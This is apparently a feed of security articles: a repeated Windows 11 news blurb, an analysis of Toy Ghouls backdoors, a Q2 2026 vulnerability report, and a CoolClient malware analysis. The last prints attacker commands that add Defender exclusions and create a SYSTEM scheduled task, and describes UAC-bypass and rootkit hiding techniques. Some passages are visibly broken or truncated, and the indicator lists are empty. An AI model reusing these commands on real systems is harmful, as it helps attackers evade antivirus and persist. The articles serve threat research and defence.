Microsoft is testing automatic Light and Dark Mode switching in Windows 11, with scheduling based on sunrise, sunset, fixed times, or PC activity.
The post Microsoft May Soon Fix Windows 11’s Obvious Dark Mode Automation Gap appeared first on TechRepublic.
Microsoft is testing automatic Light and Dark Mode switching in Windows 11, with scheduling based on sunrise, sunset, fixed times, or PC activity.
The post Microsoft May Soon Fix Windows 11’s Obvious Dark Mode Automation Gap appeared first on TechRepublic.
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h Bird Agent - MQTT server monitor Usage: cplsupport.exe [OPTIONS] Options: -c, --config <CONFIG> Path to config.toml config file --install Install as a system service --uninstall Uninstall the system service --seal Encrypt sensitive config fields in-place using a machine-bound key -h, --help Print help -V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h Matrix monitoring agent Usage: wtass.exe [OPTIONS] [COMMAND] Commands: install Register this agent with the Matrix homeserver and panel uninstall Remove this agent's service and credentials service Run as a Windows service (internal) help Print this message or the help of the given subcommand(s) Options: -c, --config <CONFIG> -h, --help Print help -V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
Loginagent_privkey: the agent’s private keychannel_id: the channel identifier used to communicate with the brokerserver_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
-NonInteractive -NoProfile -Command parameters.For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
Kaspersky security solution verdicts:
File names and MD5 hashes:
Registry keys:
Service names:
Domain names:
The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.
Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.
This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.
We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.
This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.
Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:
Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.
Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.
All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:
The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.
The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.
Distribution of published exploits by platform, Q1 2026 (download)
Distribution of published exploits by platform, Q2 2026 (download)
We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)
In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.
In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)
Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.
This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.
As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.
The chart below covers registered vulnerabilities in AI tools for 2025–2026.
Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)
As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:
TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026
Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.
Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:
It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.
Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.
TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)
This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.
The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.
The attack algorithm exploiting this vulnerability works as follows:
If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:
It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.
The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.
Depending on the Dify configuration, the consequences can include:
The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.
In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.
The vulnerability’s mechanism works as follows:
This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.
Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.
Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.
The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.
Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.
It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.
Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.
Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender" wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f
Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.
schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
| Component | Description |
| defender.exe / Sang.exe | Legitimate Sangfor application abused for DLL sideloading |
| libsrapc.dll | Benign dependency required for the Sangfor application to execute normally |
| libngs.dll | First-stage loader that decrypts and loads the next stage into memory (First stage) |
| loadcert.ini | Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage) |
| cert.ini | Final-stage implant responsible for C2 communication and backdoor functionality (Final stage) |
| time.ini | CoolCleint configuration file |
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Overview of the new variant of CoolClient
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
loadcert.ini (before synchost.exe injection)The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
| Parameter | Purpose |
| install | Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path. |
| work | Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading. |
| passuac | Continues execution after privilege elevation. |
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
When executed with the install parameter, CoolClient creates an AutoRun entry under:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
Function to check for running 360 Total Security software processes
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
Authenticated RPC binding used during the RPC-based UAC bypass
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
C:\Program Files\Microsoft\Windows Defender\msagent.sys
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
| IOCTL | Purpose |
| 0x222120 | Registers the current CoolClient process with the driver. |
| 0x2221E0 | Sends the configured C2 IPv4 address to the driver. |
| 0x2220F0 | Registers filesystem and registry paths that should be protected or hidden. |
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
PDB Path
E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb
南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Registry configuration loaded by the driver during initialization
Two REG_DWORD values control the driver’s operating mode:
| Registry Value | Default | Description |
| Hid_State | 1 | Enables the driver’s rootkit functionality. |
| Hid_StealthMode | 0 | Controls additional stealth features used by selected driver routines. |
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
| Registry Value | Purpose |
| Wid_H1deF5Dirs | Directories to hide |
| Wid_H1deF5Files | Files to hide |
| Wid_H1deRegKeys | Registry keys to hide |
| Wid_H1deRegValues | Registry values to hide |
| Hid_IgnoredImages | Processes to ignore |
| Hid_ProtectedImages | Processes to protect |
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
The driver validates candidate ActiveProcessLinks layouts before enabling process hiding
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
ObRegisterCallbacksPsSetCreateProcessNotifyRoutineExPsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization
After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
0x222120: registers the current CoolClient process with the driver.0x2221E0: passes the configured C2 IPv4 address.0x2220F0: registers filesystem and registry paths for protection.The remaining IOCTL handlers were not invoked by the analyzed sample.
